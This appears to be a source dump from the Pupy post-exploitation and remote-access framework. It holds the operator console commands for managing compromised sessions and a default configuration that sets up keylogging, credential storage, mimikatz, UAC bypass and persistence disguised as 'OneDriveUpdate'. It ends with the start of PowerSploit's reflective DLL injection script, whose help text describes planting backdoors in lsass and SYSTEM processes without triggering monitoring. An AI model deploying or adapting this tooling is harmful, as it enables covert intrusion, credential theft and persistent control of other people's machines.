                            'CLIENT': Color(
                                str(client),
                                'green' if compatible else 'grey'
                            )
                        })

                    tables.append(
                        Table(ctable, ['OK', 'CLIENT'], Color('Compatibility', 'yellow'), False))

        for command, alias in config.items("aliases"):
            if command == args.module:
                tables.append(Line(
                    Color('Alias:', 'yellow'),
                    Color(args.module+':', 'green'),
                    alias))

    else:
        commands = []
        for command, description in handler.commands.list():
            commands.append({
                'COMMAND': command,
                'DESCRIPTION': description
            })

        tables.append(Table(commands, ['COMMAND', 'DESCRIPTION'], Color('COMMANDS', 'yellow')))

        if args.modules:
            modules = sorted(list(server.iter_modules()), key=(lambda x:x.category))
            table = []

            for mod in modules:
                compatible = all(
                    mod.is_compatible_with(client) for client in
                    server.get_clients(handler.default_filter))

                compatible_some = any(
                    mod.is_compatible_with(client) for client in
                    server.get_clients(handler.default_filter))

                if mod.__doc__:
                    doc = mod.__doc__.strip()
                else:
                    doc = ''

                category = mod.category
                name = mod.get_name()
                brief = doc.title().split('\n')[0]

                if compatible:
                    pass
                elif compatible_some:
                    category = Color(category, 'grey')
                    name = Color(name, 'grey')
                    brief = Color(brief, 'grey')
                else:
                    category = Color(category, 'darkgrey')
                    name = Color(name, 'darkgrey')
                    brief = Color(brief, 'darkgrey')

                table.append({
                    'CATEGORY': category,
                    'NAME': name,
                    'HELP': brief
                })

            tables.append(TruncateToTerm(Table(
                table, ['CATEGORY', 'NAME', 'HELP'], Color('MODULES', 'yellow'))))

        else:
            aliased = []
            for module, description in server.get_aliased_modules():
                aliased.append({
                    'MODULE': module,
                    'DESCRIPTION': description
                })

            if aliased:
                tables.append(Table(aliased, ['MODULE', 'DESCRIPTION'], Color('ALIASED MODULES', 'yellow')))

        aliases = []
        for command, alias in config.items("aliases"):
            aliases.append({
                'ALIAS': command,
                'COMMAND': alias
            })

        if aliases:
            tables.append(Table(aliases, ['ALIAS', 'COMMAND'], Color('ALIASES', 'yellow')))

        if not args.modules:
            tables.append(Line('Use', Color('help -M', 'green'), 'command to show all available modules'))

    handler.display(MultiPart(tables))


================================================
FILE: pupy/commands/jobs.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import Error, Success, Table

usage  = "Manage Jobs"
parser = PupyArgumentParser(prog='jobs', description=usage)

killjob = parser.add_mutually_exclusive_group()
killjob.add_argument('-k', '--kill', metavar='<job_id>', help="print the job current output before killing it")
killjob.add_argument('-K', '--kill-no-output', metavar='<job_id>', help="kill job without printing output")
parser.add_argument('-l', '--list', action='store_true', help="list jobs")
parser.add_argument('-p', '--print-output', metavar='<job_id>', help="print a job output")

def do(server, handler, config, modargs):
    if modargs.kill:
        j = server.get_job(modargs.kill)
        handler.summary(j)
        finished = j.is_finished()

        if finished:
            server.del_job(j.jid)
            handler.display(Success('Job closed'))

        else:
            j.interrupt()
            j.stop()
            handler.display(Success('Job killed'))

        server.del_job(modargs.kill)
        del j

    elif modargs.kill_no_output:
        j = server.get_job(modargs.kill_no_output)
        finished = j.is_finished()
        if finished:
            server.del_job(j.jid)
            handler.display('Job closed')
        else:
            j.interrupt()
            j.stop()
            handler.display(Success('Job killed'))
        server.del_job(modargs.kill_no_output)
        del j

    elif modargs.print_output:
        j = server.get_job(modargs.print_output)
        handler.summary(j)

    elif modargs.list:
        if server.jobs:
            dictable = []

            for jid,job in server.jobs.items():
                dictable.append({
                    'id':jid,
                    'job':str(job),
                    'status': 'finished' if job.is_finished() else 'running',
                    'clients': len(job)
                })

            handler.display(Table(dictable, ['id', 'job', 'clients', 'status']))
        else:
            handler.display(Error('No jobs are currently running'))


================================================
FILE: pupy/commands/listen.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import Success, Color, Table

from pupy.network.conf import transports

usage = 'start/stop/show current listeners'
parser = PupyArgumentParser(prog='listen', description=usage)
group = parser.add_mutually_exclusive_group()
group.add_argument('-l', '--list', action='store_true', help='show current listeners')
group.add_argument('-L', '--list-transports', action='store_true', help='show available transports')
group.add_argument(
    '-a', '--add', nargs='+',
    metavar=('TRANSPORT', 'TRANSPORT_ARG1'), help='start listener')
group.add_argument(
    '-A', '--add-no-pproxy', nargs='+',
    metavar=('TRANSPORT', 'TRANSPORT_ARG1'), help='start listener (ignore pproxy)')
group.add_argument(
    '-r', '--remove', metavar='TRANSPORT',
    type=str, help='stop listener')


def do(server, handler, config, args):
    if args.add:
        name, args = args.add[0], args.add[1:]
        server.add_listener(name, ' '.join(args), motd=False)
    elif args.add_no_pproxy:
        name, args = args.add_no_pproxy[0], args.add_no_pproxy[1:]
        server.add_listener(
            name, ' '.join(args), motd=False, ignore_pproxy=True)
    elif args.remove:
        server.remove_listener(args.remove)

    elif args.list_transports:

        table = []

        for name, transport in transports.items():
            color = None
            listener = None
            info = transport.info

            if name in server.listeners:
                color = 'lightgreen'
                listener = Color(str(server.listeners[name]), color)
                name = Color(name, color)
                info = Color(info, color)

            table.append({
                'NAME': name,
                'INFO': info,
                'ACTIVE': listener
            })

        handler.display(Table(table, ['NAME', 'INFO', 'ACTIVE']))

    else:
        for listener in server.listeners.values():
            handler.display(Success(listener))


================================================
FILE: pupy/commands/logging.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import logging

from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import Success, Color, Table

levels = ['DEBUG', 'INFO', 'WARNING', 'ERROR']
levels += [
    x.lower() for x in levels
]

usage  = "Show/set log level"
parser = PupyArgumentParser(prog='logging', description='change pupysh logging level')
parser.add_argument(
    '-L', '--logger', help='Apply log level only for specified logger',
    choices=tuple(logging.Logger.manager.loggerDict)
)
parser.add_argument('-s', '--set-level', choices=levels, help='Set log level')
parser.add_argument('-g', '--get-level', action='store_true', help='Get log level')
parser.add_argument('level', choices=levels, nargs='?', help='Set log level')


def levelToString(level):
    return {
        logging.ERROR: 'ERROR',
        logging.WARNING: 'WARNING',
        logging.INFO: 'INFO',
        logging.DEBUG: 'DEBUG'
    }.get(level)


def levelToColor(level):
    return {
        logging.ERROR: 'grey',
        logging.WARNING: 'white',
        logging.INFO: 'yellow',
        logging.DEBUG: 'red'
    }.get(level)


def do(server, handler, config, args):
    logger = logging.getLogger(args.logger)
    if args.set_level or args.level:
        level = args.set_level or args.level
        logger.setLevel(level.upper())
        handler.display(Success('Log level: {}: {}'.format(logger.name, level)))
    elif args.get_level:
        handler.display(Success('Log level: {}'.format(
            levelToString(logger.getEffectiveLevel()))))
    else:
        objects = []
        for name, logger in logging.Logger.manager.loggerDict.items():
            if not hasattr(logger, 'getEffectiveLevel'):
                continue

            level = logger.getEffectiveLevel()
            color = levelToColor(level)

            objects.append({
                'LOGGER': Color(name, color),
                'LEVEL': Color(levelToString(level), color)
            })

        objects = sorted(objects, key=lambda x: x['LOGGER'].data)

        handler.display(Table(objects, ['LOGGER', 'LEVEL']))


================================================
FILE: pupy/commands/python.py
================================================
# -*- encoding: utf-8 -*-

# TODO: Fix interaction

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
try:
    import __builtin__ as builtins
except ImportError:
    import builtins

import readline
import code

from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PythonCompleter import PythonCompleter
from pupy.pupylib.PupyOutput import Error

usage = 'Start the local python interpreter (for debugging purposes)'
parser = PupyArgumentParser(prog='python', description=usage)

def do(server, handler, config, args):
    orig_exit = builtins.exit
    orig_quit = builtins.quit

    def disabled_exit(*args, **kwargs):
        handler.display(Error('exit() disabled ! use ctrl+D to exit the python shell'))

    builtins.exit = disabled_exit
    builtins.quit = disabled_exit
    oldcompleter = readline.get_completer()

    try:
        local_ns = {
            'server': server,
            'handler': handler,
            'config': config,
        }

        readline.set_completer(PythonCompleter(local_ns=local_ns).complete)
        readline.parse_and_bind('tab: complete')
        code.interact(local=local_ns)

    except Exception as e:
        handler.display(Error(e))

    finally:
        readline.set_completer(oldcompleter)
        readline.parse_and_bind('tab: complete')
        builtins.exit = orig_exit
        builtins.quit = orig_quit


================================================
FILE: pupy/commands/restart.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import Success

import os

from io import open

usage  = 'Restart pupysh'
parser = PupyArgumentParser(prog='restart', description=usage)


def do(server, handler, config, args):
    argv0 = os.readlink('/proc/self/exe')
    argv = [
        x for x in open('/proc/self/cmdline').read().split('\x00') if x
    ]

    if handler.dnscnc:
        handler.display_srvinfo(Success('Stopping DNSCNC'))
        handler.dnscnc.stop()

    server.stop()
    handler.display_srvinfo(Success('Restarting'))
    os.execv(argv0, argv)


================================================
FILE: pupy/commands/run.py
================================================
# -*- encoding: utf-8 -*-

# TODO: Fix stream/interaction

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import PupyArgumentParser, PupyModuleUsageError
from pupy.pupylib.PupyCompleter import (
    module_name_completer, module_args_completer, path_completer
)

from pupy.pupylib.PupyOutput import Error, Line, Color
from pupy.pupylib.PupyJob import PupyJob

from argparse import REMAINDER

if sys.version_info.major > 2:
    basestring = str

usage = 'Run a module on one or multiple clients'
parser = PupyArgumentParser(prog='run', description=usage)

parser.add_argument('-1', '--once', default=False, action='store_true', help='Unload new deps after usage')
parser.add_argument('-o', '--output', help='save command output to file.'
                        '%%t - timestamp, %%h - host, %%m - mac, '
                        '%%c - client shortname, %%M - module name, '
                        '%%p - platform, %%u - user, %%a - ip address',
                        completer=path_completer)
parser.add_argument('-p', '--pipe', help='Pass output via pipe')
parser.add_argument(
    '-f', '--filter', metavar='<client filter>',
    help='filter to a subset of all clients. All fields available in the "info" module can be used. '
    'example: run get_info -f \'platform:win release:7 os_arch:64\'')
parser.add_argument('-b', '--background', action='store_true', help='run in background')
parser.add_argument('module', metavar='<module>', help='module', completer=module_name_completer)
parser.add_argument(
    'arguments',
    nargs=REMAINDER,
    default='',
    metavar='<arguments>',
    help='module arguments',
    completer=module_args_completer)

def do(server, handler, config, modargs):
    pj = None
    args = modargs.arguments
    clients_filter = modargs.filter or handler.default_filter

    try:
        module = server.get_module(
            server.get_module_name_from_category(modargs.module))

    except PupyModuleUsageError as e:
        prog, message, usage = e.args
        handler.display(Line(Error(prog+':'), Color(message, 'lightred')))
        handler.display(usage)

    except Exception as e:
        handler.display(Error(e, modargs.module))
        return

    if not module:
        handler.display(Error('Unknown module', modargs.module))
        return

    clients = server.get_clients(clients_filter)
    if not clients:
        if not server.clients:
            handler.display(Error('No clients currently connected'))
        else:
            handler.display(Error('No clients match this search!'))
        return

    modjobs = [
        job for job in server.jobs.values() \
               if job.module.get_name() == module.get_name() and \
               any(instance in clients for instance in job.clients)
    ]

    pj = None
    unique = False

    if module.daemon and module.unique_instance and modjobs:
        pj = modjobs[0]
        unique = True
    else:
        jobargs = module.parse(args)

        pj = PupyJob(
            server,
            module, '{} {}'.format(modargs.module, ' '.join(args)),
            jobargs
        )

        ios = handler.acquire_io(
            module.io, len(clients),
            modargs.background or module.daemon,
            modargs.pipe
        )

        for io, client in zip(ios, clients):

            io.set_title(
                client if isinstance(client, basestring) else str(client)
            )

            instance = module(client, pj, io, log=modargs.output)
            pj.add_module(instance)

    try:
        pj.start(once=modargs.once)

    except Exception as e:
        handler.display(Error('Module launch failed: {}'.format(e)))
        pj.stop()

    handler.process(
        pj,
        background=modargs.background,
        daemon=module.daemon,
        unique=unique
    )


================================================
FILE: pupy/commands/sessions.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import Color, Success, Table

usage  = 'list/interact with established sessions'
parser = PupyArgumentParser(prog='sessions', description=usage)
parser.add_argument('-i', '--interact', metavar='<filter>',
                    help="change the default --filter value for other commands")
parser.add_argument('-g', '--global-reset', action='store_true',
                    help="reset --interact to the default global behavior")
parser.add_argument('-k', dest='kill', metavar='<id>', type=int, help='Kill the selected session')
parser.add_argument('-K', dest='killall', action='store_true', help='Kill all sessions')
parser.add_argument('-d', dest='drop', metavar='<id>', type=int,
                    help='Drop the connection (abruptly close the socket)')
parser.add_argument('-D', dest='dropall', action='store_true', help='Drop all connections')


def do(server, handler, config, modargs):
    if modargs.global_reset:
        handler.default_filter = None
        handler.display(Success('Default filter reset to global'))

    elif modargs.interact:
        handler.default_filter = modargs.interact
        handler.display(Success('Default filter set to {}'.format(
            handler.default_filter)))

    elif modargs.kill:
        selected_client = server.get_clients(modargs.kill)
        if selected_client:
            try:
                selected_client[0].conn.exit()
            except Exception:
                pass

    elif modargs.drop:
        selected_client = server.get_clients(modargs.drop)
        if selected_client:
            try:
                selected_client[0].conn._conn.close()
            except Exception:
                pass

    elif modargs.dropall:
        clients = list(server.get_clients_list())
        for client in clients:
            try:
                client.conn._conn.close()
            except Exception:
                pass

    elif modargs.killall:
        clients = server.get_clients_list()
        descriptions = [
            x.desc for x in clients
        ]

        for description in descriptions:
            try:
                server.get_clients(description['id'])[0].conn.exit()
            except Exception:
                pass
    else:
        client_list = server.get_clients_list()

        if handler.default_filter:
            filtered_clients = server.get_clients(handler.default_filter)
        else:
            filtered_clients = client_list

        columns = [
            'id', 'user', 'hostname', 'platform', 'release', 'os_arch',
            'proc_arch', 'intgty_lvl', 'address', 'tags'
        ]

        content = []

        for client in client_list:
            color = 'white' if client in filtered_clients else 'darkgrey'

            data = {
                k:Color(v, color)
                for k,v in client.desc.items() if k in columns
            }

            data.update({
                'tags': Color(config.tags(client.node()), color)
            })

            content.append(data)

        handler.display(Table(content, columns))


================================================
FILE: pupy/commands/tag.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import Table

usage  = "Assign tag to current session"

parser = PupyArgumentParser(prog='tag', description=usage)
parser.add_argument('-a', '--add', metavar='tag', nargs='+', help='Add tags')
parser.add_argument('-r', '--remove', metavar='tag', nargs='+', help='Remove tags')
parser.add_argument('-w', '--write-project', action='store_true',
                        default=False, help='save config to project folder')
parser.add_argument('-W', '--write-user', action='store_true',
                        default=False, help='save config to user folder')

def do(server, handler, config, modargs):
    data = []

    clients = server.get_clients(handler.default_filter)

    if not clients:
        return

    for client in clients:
        tags = config.tags(client.node())

        if modargs.remove:
            tags.remove(*modargs.remove)

        if modargs.add:
            tags.add(*modargs.add)

        data.append({
            'ID': client.node(),
            'TAGS': tags
        })

    config.save(
        project=modargs.write_project,
        user=modargs.write_user
    )

    handler.display(Table(data))


================================================
FILE: pupy/conf/imports_done.py
================================================
from collections import OrderedDict
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA256
from Crypto.Hash import SHA256, HMAC
from Crypto import Random
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util import Counter
from cStringIO import StringIO
from itertools import izip, starmap
from operator import xor
from StringIO import StringIO
from struct import Struct
import argparse
import base64
import binascii
import code
import collections
import contextlib
import copy
import ConfigParser
import cPickle
import Crypto.Cipher
import Crypto.Cipher.AES
import Crypto.Hash.HMAC
import Crypto.Hash.SHA256
import Crypto.Util.Counter
import datetime
import errno, stat
import fractions
import __future__
import getpass
import glob
import hashlib
import hmac
import imp
import importlib
import inspect
import json
import logging
import math
import multiprocessing
import new
import os
import pkgutil
import platform
import Queue
import random
import re
import rsa
import shlex
import shutil
import site
import socket
import SocketServer
import ssl
import string
import StringIO
import struct
import subprocess
import sys
import tempfile
import threading
import time
import traceback
import urllib
import urllib2
import uuid
import yaml
import zlib

if os.name == 'nt':
    import ctypes
    import ctypes.wintypes

if os.name == 'posix':
    import pty


================================================
FILE: pupy/conf/pupy.conf.default
================================================
[pupyd]
#listen on all interfaces by default
# address = 192.168.0.1

## Default external address for all transports
# external = 1.2.3.4

transport = ssl
ipv6 = true
logs = false

# Enable/disable internal web server
# Section [webserver]
# This is NOT http wrapper (http)
webserver = false

#Multiple listeners are allowed. Example
#listen = ssl,kc4,ws
listen = ssl

#igd=True allow pupy to make IGD/UPNP requests to get you external IP and
#    add mappings to your local machine from outside
#If enabled, pupy will implicitly expect that pupysh sits behind NAT
#igd = http://ip[:port] will disable autodetect
igd = false

#httpd=true wraps your transport in a HTTP transport.
httpd = false

#dnscnc = localhost:5454 starts the DNS cnc listener on the port 5454.
dnscnc = false
recursor = false

# allow requests to services like ifconfig.co to automatically retrieve public IP
# you should enable this if you planning to use IGD/UPNP
allow_requests_to_external_services = false

use_gnome_keyring=false

ping = 0
ping_timeout = 10

# Enable modules which are marked as QA_DANGEROUS
# These modules may cause the pupy hang or require manual changes
enable_dangerous_modules = false

# Prohibit communication of unregistered cid <-> node pairs
whitelist = false
# ... only if cid found in config ([cids])
# format:
# cid = node1,node2,node3
allow_by_default = true

[dnscnc]
# Allow DNSCNC v1 (legacy)
allow_v1 = true
# Prohibit communication of unregistered cid <-> node pairs
whitelist = false
# ... only if cid found in config ([cids])
# format:
# cid = node1,node2,node3
allow_by_default = true

# Whitelist (if enabled)
[cids]

[listeners]
# Default ports and args
# Ensure ports are different for all enabled listeners
# Or remove listener(s) from pupyd.listen parameter
ssl = 443=8443
obfs3 = 9090
rsa = 9091
ec4 = 80=1234
kc4 = 123=1234
tcp_cleartext = 80=1234
udp_cleartext = 123=1234
ws = 80=8081
http = 80=8080
ecm = 1235

[ssl]
client_cert_required = true

[httpd]
log = true
secret = false

[webserver]
# Serve payloads via tornado web server
listen = 0.0.0.0:9000
# SSL Certificates if any
# cert = /path/to/cert
# key = /path/to/key
log = true
# If you want static webroot uri uncomment this variable
static_webroot_uri = 
# Set this to true if you want to keep published payloads
preserve_payloads = false
# Set this to the comma delimited list of ips/domain names
# which allowed to connect to "local ips"
# local_ips = localhost

[gen]
format = client
os = windows
arch = x86
external = false
#The command used for packing the 'client' output format (incompatible with py, pyinst, py_oneliner, ps1, ps1_oneliner, rubber_ducky for example)
packer =
mcs_sdk = 2
#launcher =
#launcher_args = 

[cmdline]
display_banner = yes
colors = yes
#If 'shadow_screen = no', this can fix some scrollback issues in some terminals (e.g. Terminator)
shadow_screen = no
history_size = 10000

[paths]
prefer_workdir = no
history = .pupy_history
downloads = data/downloads/%c
memstrings = data/memstrings/%c
searches = data/searches/%c
screenshots = data/screenshots/%c/%t
pcaps = data/pcaps/%c/%t.pcap
logs = data/logs/%c/%t-%M
creds = data/creds
crypto = crypto
wwwroot = data/wwwroot
webstatic = webstatic
records = data/%c
keystrokes = data/keylogger/%c/%t.log
mouseshots = data/mouselogger/%c/%w-%t.png
payload_output = output
plugins = data/plugindata
ad = data/ad/%c/%r/%n.json
odbc = data/odbc/%c/%d.txt

[on_connect]

## FORMAT:
## FILTER = ACTION
## FILTER: [SPI|NODE|*...|any...|client_filter]
##   Use '*' and 'any' prefix to apply action to all clients
##   Use SPI or NODE to apply action only to clients with same SPI/NODE id
##   Other values will be used as client_filter argument (like run -f)
## ACTION: [!...|include:section_name|python:trigger_name|module args|]
##   Use '!' prefix to execute shell command
##   Use 'include:' prefix to include commands with specified section name
##   Use 'python:' prefix to execute trigger (from triggers/ folder)

## Example: include actions in section on_connect_notifications
# any = include:on_connect_notifications
# any = python:example_trigger

[on_connect_notifications]
any1 = !notify-send "New session: {hostname} / {os_name}"

[default_viewers]
image_viewer = eog
sound_player = totem
browser = firefox
xdg_open = xdg-open

[mimikatz]
#these are kali 2.0 default path
exe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe
exe_x64=/usr/share/mimikatz/x64/mimikatz.exe

[bypassuac]
# Method ids taken from https://github.com/rootm0s/WinPwnage
preferred_methods = 1,2,3,4,8,9,10

[persistence]
# Method ids taken from https://github.com/rootm0s/WinPwnage
preferred_methods = 2,8,3,9
name = OneDriveUpdate

[aliases]
info = get_info
pyexec = pyexec
exec = shell_exec
ps = ps
migrate = migrate
shell=interactive_shell
kill = process_kill
#tasklist = shell_exec 'tasklist /v'
mount = drives
du = download -S
vi = edit
vim = edit


[rubber_ducky]
#path to the encoder.jar file of Rubber-Ducky project (see https://github.com/hak5darren/USB-Rubber-Ducky/blob/master/Encoder/encoder.jar)
encoder_path = TO_FILL
#Path to the keyboard layout for generating inject.bin file (see https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Encoder/resources)
default_keyboard_layout_path = TO_FILL


================================================
FILE: pupy/external/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1
================================================
function Invoke-ReflectivePEInjection
{
<#
.SYNOPSIS

This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTES) for information on how to use them.

1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.

This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
this will load and execute the DLL/EXE in to memory without writing any files to disk.

2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.

This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
remote process.

PowerSploit Function: Invoke-ReflectivePEInjection  
Author: Joe Bialek, Twitter: @JosephBialek  
Code review and modifications: Matt Graeber, Twitter: @mattifestation  
License: BSD 3-Clause  
Required Dependencies: None  
Optional Dependencies: None  

.DESCRIPTION

Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.

.PARAMETER PEBytes

A byte array containing a DLL/EXE to load and execute.

.PARAMETER ComputerName

Optional, an array of computernames to run the script on.

.PARAMETER FuncReturnType

Optional, the return type of the function being called in the DLL. Default: Void
    Options: String, WString, Void. See notes for more information.
    IMPORTANT: For DLLs being loaded remotely, only Void is supported.

.PARAMETER ExeArgs

Optional, arguments to pass to the executable being reflectively loaded.

.PARAMETER ProcName

Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.

.PARAMETER ProcId

Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.

.PARAMETER ForceASLR

Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
    if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
    loading in to a remote process.

.PARAMETER DoNotZeroMZ

Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.

.EXAMPLE

Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local

.EXAMPLE

Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
    the wchar_t* returned by WStringFunc() from all the computers.
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)

.EXAMPLE

Load DemoEXE and run it locally.
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

.EXAMPLE

Load DemoEXE and run it locally. Forces ASLR on for the EXE.
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR

.EXAMPLE

Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local

.NOTES
GENERAL NOTES:
The script has 3 basic sets of functionality:
1.) Reflectively load a DLL in to the PowerShell process
    -Can return DLL output to user when run remotely or locally.
    -Cleans up memory in the PS process once the DLL finishes executing.
    -Great for running pentest tools on remote computers without triggering process monitoring alerts.
    -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
2.) Reflectively load an EXE in to the PowerShell process.
    -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
    -Cleans up memory in the PS process once the DLL finishes executing.
    -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
3.) Reflectively inject a DLL in to a remote process.
    -Can NOT return DLL output to the user when run remotely OR locally.
    -Does NOT clean up memory in the remote process if/when DLL finishes execution.
    -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
    -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.

DLL LOADING NOTES:

PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell
remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from
applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.

For DLL Loading:
Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"
I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return
the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the
returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
wchar_t*   : FuncReturnType = WString
char*      : FuncReturnType = String
void       : Default, don't supply a FuncReturnType

For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string
using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.

The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
WString    : WStringFunc
String     : StringFunc
Void       : VoidFunc

These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would
be declared as follows:
extern "C" __declspec( dllexport ) wchar_t* WStringFunc()


If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".

Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection

.LINK

http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/

Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
#>

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSPossibleIncorrectComparisonWithNull', '')]
[CmdletBinding()]
Param(
    [Parameter(Position = 0, Mandatory = $true)]
    [ValidateNotNullOrEmpty()]
    [Byte[]]
    $PEBytes,

    [Parameter(Position = 1)]
    [String[]]
    $ComputerName,

    [Parameter(Position = 2)]
    [ValidateSet( 'WString', 'String', 'Void' )]
    [String]
    $FuncReturnType = 'Void',

    [Parameter(Position = 3)]
    [String]
    $ExeArgs,

    [Parameter(Position = 4)]
    [Int32]
    $ProcId,

    [Parameter(Position = 5)]
    [String]
    $ProcName,

    [Switch]
    $ForceASLR,

    [Switch]
    $DoNotZeroMZ
)

Set-StrictMode -Version 2


$RemoteScriptBlock = {
    [CmdletBinding()]
    Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Byte[]]
        $PEBytes,

        [Parameter(Position = 1, Mandatory = $true)]
        [String]
        $FuncReturnType,

        [Parameter(Position = 2, Mandatory = $true)]
        [Int32]
        $ProcId,

        [Parameter(Position = 3, Mandatory = $true)]
        [String]
        $ProcName,

        [Parameter(Position = 4, Mandatory = $true)]
        [Bool]
        $ForceASLR
    )

    ###################################
    ##########  Win32 Stuff  ##########
    ###################################
    Function Get-Win32Types
    {
        $Win32Types = New-Object System.Object

        #Define all the structures/enums that will be used
        #   This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
        $Domain = [AppDomain]::CurrentDomain
        $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
        $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]


        ############    ENUM    ############
        #Enum MachineType
        $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
        $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
        $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
        $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
